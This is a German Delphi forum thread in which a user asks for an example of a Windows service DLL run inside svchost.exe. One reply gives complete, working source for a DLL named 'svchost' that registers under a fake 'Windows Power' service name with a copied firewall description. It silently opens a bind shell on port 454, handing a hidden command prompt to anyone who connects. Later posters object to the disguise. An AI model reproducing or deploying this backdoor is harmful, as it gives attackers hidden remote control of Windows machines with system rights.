Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Win32/Win64 API (native code) (https://www.delphipraxis.net/17-win32-win64-api-native-code/)
-   -   Suche Beispiel für eine Service-DLL (https://www.delphipraxis.net/161764-suche-beispiel-fuer-eine-service-dll.html)

axellang 19. Jul 2011 16:12

Suche Beispiel für eine Service-DLL
 
Hallo Leute,

suche ein Beispiel (skeleton) oder Doku (Delphi) zu einer NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.

Gruß

Axel

jaenicke 19. Jul 2011 17:27

AW: Suche Beispiel für eine Service-DLL
 
Dafür musst du die Funktion RegisterServiceCtrlHandlerEx im DLL-Quelltext beim Laden der DLL, also in begin..end, benutzen:
http://msdn.microsoft.com/en-us/library/ms685058.aspx

Ob du die delphiinternen Routinen für die Dienststeuerung damit trotzdem nutzen kannst, weiß ich nicht, aber mit SetServiceStatus geht es jedenfalls, indem du den Status auf Running setzt, wenn deine Initialisierung geklappt hat:
http://msdn.microsoft.com/en-us/library/ms686241.aspx

axellang 20. Jul 2011 19:36

AW: Suche Beispiel für eine Service-DLL
 
Hi,

Hi,

@jaenicke, Danke, es geht vielmehr um die Einträge die ich in der Reg. setzen muss, damit meine Service dll von der Svchost.exe geladen wird.

Meine Hoffnung war es, das einer schon mal ne Service dll geschrieben hat und mir da ein paar Tipps bzw. Links zu einer Doku helfen könnte denn in der MSDN oder ähnliches findet man nichts.

Das einzig brauchbare habe ich heute erst gefunden:Demo for a service dll used by svchost.exe to host it. Außerdem noch ne Doku: SVCHOST

So jetzt schreibe ich das alles noch um und dann mal sehen.


Axel

jaenicke 20. Jul 2011 19:49

AW: Suche Beispiel für eine Service-DLL
 
Ich habe das vor einiger Zeit schon einmal ausprobiert. Den Quelltext muss ich mal suchen.

Aber posten kann ich den dann nicht direkt. Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte. Auf diese Weise hatte ich den im System versteckt und unter Windows XP war er dann mit z.B. dem Taskmanager logischerweise nicht mehr zu finden. Mehr schreibe ich zu diesem Thema besser nicht, nicht dass jemand, der das liest, auf dumme Gedanken kommt...

Aber ich schaue mal, ob ich den Code zum Registrieren des Dienstes noch finde.

axellang 20. Jul 2011 19:58

AW: Suche Beispiel für eine Service-DLL
 
Hi,

Zitat:

Zitat von jaenicke (Beitrag 1112774)
Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte.

so, so ;-), nun mal her damit. Lass uns die Weltherrschaft übernehmen.

Axel

generic 21. Jul 2011 08:53

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von axellang (Beitrag 1112597)
NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll.

Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.
Muss es unbedingt die SvcHost-DLL sein?
Welchen Grund gibt es dafür?

axellang 21. Jul 2011 20:11

AW: Suche Beispiel für eine Service-DLL
 
Hi,
Zitat:

Zitat von generic (Beitrag 1112833)
Es ist natürlich einfacher, einen Dienst mit Delphi hinzustellen.

Ja das ist richtig, ich verwende für NT-Services unter Delphi DDService (zip), dass das Delphi Service Framework um einige längst fällige Features erweitert und zwei Bugs fixt (QC #68050 und QC #37706) die nach wie vor offen sind. (readme im zip unbedingt !lesen!)

Zitat:

Zitat von generic (Beitrag 1112833)
Muss es unbedingt die SvcHost-DLL sein?

Ja, der Svchost hat leider einen schlechten Ruf. Bei meiner Recherche zum Aufbau der DLL waren die ersten Treffer: "Virus, Trojaner, Loader, Hilfe verseucht und schlag mich tot". Es gab nur vereinzelte Treffer die mit der Thematik professionell umgingen, z.B. im forum.sysinternals.com writing-a-service-that-runs-under-svchost. Auch hier in der DP wurde eine ähnliche Frage schon mal besprochen svchost-problem doch war es nicht was ich suchte.

Zitat:

Zitat von generic (Beitrag 1112833)
Welchen Grund gibt es dafür?

Der Dienst soll die bestehenden Services beobachten und ggf. bei Fehlern neu starten. Außerdem soll es die Schnittstelle zu unserer Update-Engine sein, die sich die Upgrades per BITS von unserem Server holt und installiert. Ausschlaggebend war natürlich das der Dienst, der im Kontext der Svchost.exe läuft, nicht gleicht sichtbar ist. Da alle Programm-Komponenten digital signiert sind, sehe ich keinen Grund es so nicht zu machen.


Gruß, Axel

Luckie 21. Jul 2011 21:29

AW: Suche Beispiel für eine Service-DLL
 
Der Prozess SvcHost ist der Hostprozess für Dienste. Und warum sollte der Prozess einen schlechten Ruf haben? Und was wird hie runter schlechten Ruf verstanden?

Astat 21. Jul 2011 22:02

AW: Suche Beispiel für eine Service-DLL
 
Delphi-Quellcode:

library svchost;

(********************************* Regsettings *********************************

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc]
  "DisplayName"="Windows Power"
  "Type"=dword:00000020
  "Start"=dword:00000002
  "ErrorControl"=dword:00000000
  "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
    74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
    00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
    6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
  "ObjectName"="LocalSystem"
  "Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern
     für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall."

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters]
  "ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\
    00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\
    65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum]
  "0"="Root\\LEGACY_TAPISVC\\0000"
  "Count"=dword:00000001
  "NextInstance"=dword:00000001

+Zur Gruppe hinzufügen:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
*******************************************************************************)
uses
  Windows,
  WinSvc,
  Winsock2,
  Winsock;

const
  Port = 454;

type
  PArgArray = ^PChar;

var
  ServiceStatus: SERVICE_STATUS;
  hServiceStatusHandle : SERVICE_STATUS_HANDLE;
  Terminated: boolean = false;

  szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
  hSocket: PInteger;
  si: TStartupInfo;
  pi: TProcessInformation;
begin
  hSocket := Parameter;
  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hSocket^;
  si.hStdOutput := hSocket^;
  si.hStdError := hSocket^;
  CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  Shutdown(hSocket^, SD_BOTH);
  CloseSocket(hSocket^);
  Dispose(hSocket);
  Result := 0;
end;

function MainThread(Parameter: Pointer): Integer;
var
  WSAData: TWSAData;
  FDSet: TFDSet;
  SockAddrIn: TSockAddrIn;
  ServerSocket: TSocket;
  Connected: PInteger;
  ThreadID: Cardinal;
begin
  result := 0;
  if WSAStartUp($0020, WSAData) <> S_OK then EXIT;

  ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  if (ServerSocket = INVALID_SOCKET) then EXIT;

  FillChar(SockAddrIn, SizeOf(TSockAddr), #0);

  with SockAddrIn do begin
    sin_Family := AF_INET;
    sin_Port  := htons(Port);
    sin_Addr  := TInAddr(htonl(INADDR_ANY));
  end;

  if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT;

  if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT;

  GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);

  while not Terminated do begin
    FD_Zero(FDSet);
    FD_Set(ServerSocket, FDSet);
    if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break;
    if Terminated then Break;
    if FD_IsSet(ServerSocket, FDSet) then begin
      New(Connected);
      Connected^ := Accept(ServerSocket, nil, nil);
      if Connected^ <> SOCKET_ERROR then
        BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
      else
        Break;
    end;
    sleep(15);
  end;

  WSACleanup;
end;

//-- Service Code
function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD;
  lpEventData: PChar; lpContext: PChar): DWORD; stdcall;
begin
  result := NO_ERROR;

  case dwControl of
    SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN:
      begin
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCurrentState := SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint   := 0;
        ServiceStatus.dwWaitHint     := 0;
      end;
    SERVICE_CONTROL_PAUSE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_PAUSED;
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_RUNNING;
      end;
  end;

  SetServiceStatus(hServiceStatusHandle, ServiceStatus);
end;

procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall;
var
  pServiceName: PChar;
begin
  pServiceName := PChar('Tapisvc');

  ServiceStatus.dwServiceType       := SERVICE_WIN32_SHARE_PROCESS;
  ServiceStatus.dwCurrentState      := SERVICE_START_PENDING;

  ServiceStatus.dwControlsAccepted  := SERVICE_ACCEPT_STOP or
    SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE;

  ServiceStatus.dwWin32ExitCode     := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint        := 0;
  ServiceStatus.dwWaitHint          := 0;

  hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName,
    @SvcCtrlHandler);

  if (hServiceStatusHandle <> 0) then begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint  := 0;
    ServiceStatus.dwWaitHint    := 0;
    SetServiceStatus(hServiceStatusHandle, ServiceStatus);
  end;
end;

procedure DLLEntryPoint(dwReason: DWORD);
var
  dwThreadID: DWORD;
begin
  case dwReason of
    DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID));
    DLL_PROCESS_DETACH : Terminated := true;
  end;
end;

 {$R *.RES}

exports
  ServiceMain;

begin
  DisableThreadLibraryCalls(hInstance);
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
:-D

Luckie 21. Jul 2011 22:05

AW: Suche Beispiel für eine Service-DLL
 
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen: http://blogs.msdn.com/b/oldnewthing/...02/171769.aspx

axellang 22. Jul 2011 03:15

AW: Suche Beispiel für eine Service-DLL
 
Hi,
Zitat:

Zitat von Luckie (Beitrag 1112929)
Der Prozess SvcHost ist der Hostprozess für Dienste. Und warum sollte der Prozess einen schlechten Ruf haben?

ja, vollkommen deiner Meinung, so sehe ich es auch.
Zitat:

Zitat von Luckie (Beitrag 1112929)
Und was wird hie runter schlechten Ruf verstanden?

Bis her noch nichts. Aber seh dich doch mal um Bei Google suchensvchost.

Axel

axellang 22. Jul 2011 03:24

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von Astat (Beitrag 1112934)
Delphi-Quellcode:
uses
  Windows,
  WinSvc,
  Winsock2,
  Winsock;

const
  Port = 454;

type
  PArgArray = ^PChar;

var
  ServiceStatus: SERVICE_STATUS;
  hServiceStatusHandle : SERVICE_STATUS_HANDLE;
  Terminated: boolean = false;
........

Na, je später der Abend; Danke, schlanker Code, habe bereits die C Variante (posting zwei) portiert und um zwei Funktionen (DllRegisterServer, DllUnregisterServer) erweitert.

Gruß, Axel

axellang 22. Jul 2011 03:27

AW: Suche Beispiel für eine Service-DLL
 
BTW, folgendes interessantes bei meiner Recherche gefunden: ReactOS
Zitat:

ReactOS is a free, modern operating system based on the design of Windows® XP/2003. Written completely from scratch, it aims to follow the Windows-NT® architecture designed by Microsoft from the hardware level right through to the application level. This is not a Linux based system, and shares none of the unix architecture.
Axel

axellang 22. Jul 2011 03:36

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von Luckie (Beitrag 1112937)
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen....

Yep, das ist wirklich nicht geschickt.

Sorry, jetzt sehe ich es erst, 33.299 Posts wie geht das?:gruebel:

Gruß

Axel

Astat 22. Jul 2011 22:09

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von axellang (Beitrag 1112964)
Zitat:

Zitat von Luckie (Beitrag 1112937)
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen....

Yep, das ist wirklich nicht geschickt.

Und wo bitte gibt es eine svchost.dll??

jaenicke 23. Jul 2011 10:10

AW: Suche Beispiel für eine Service-DLL
 
Zitat:

Zitat von Astat (Beitrag 1113113)
Und wo bitte gibt es eine svchost.dll??

Gar nicht, aber svchost.exe ja nun schon. Wenn ich so eine DLL bei mir finden würde, würde ich sie sofort löschen, da ich in einem solchen Namen nur einen Verschleierungsversuch als Sinn erkennen kann. Warum sonst sollte man die so nennen?

Und da es schon hunderte Viren gibt, die diesen Namen aus eben diesem Grund benutzt haben, werden wohl auch Antivirenprogramme auf eine solche DLL nicht eben positiv reagieren...

himitsu 23. Jul 2011 11:35

AW: Suche Beispiel für eine Service-DLL
 
Schutz durch verstecken?
Wie schon gesagt wurde, sind solche Prozesse/Services immer verdächtig und auf diese Weise etwas verstecken zu wollen bringt garnichts, außer daß es eher Nachteile (Verdachtsmomente) gibt.
Jeder der sein System kennt, wird es bestimmt schnell entdecken und die Anderen gucken eh nicht in die Prozesslisten (da isses also egal wie was heißt).

Ordentliche Software ist transparent (verschlüsseln, statt verstecken)


Zitat:

Zitat von axellang (Beitrag 1112964)
Sorry, jetzt sehe ich es erst, 33.299 Posts wie geht das?:gruebel:

Och, der is schon fast von Anfang an dabei und spammt nur rum :zwinker:
(gegen einige User anderer Foren ist das aber noch extrem wenig ... kenn da Welche mit ein paar Dezimalstellen mehr)


Alle Zeitangaben in WEZ +1. Es ist jetzt 03:44 Uhr.

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz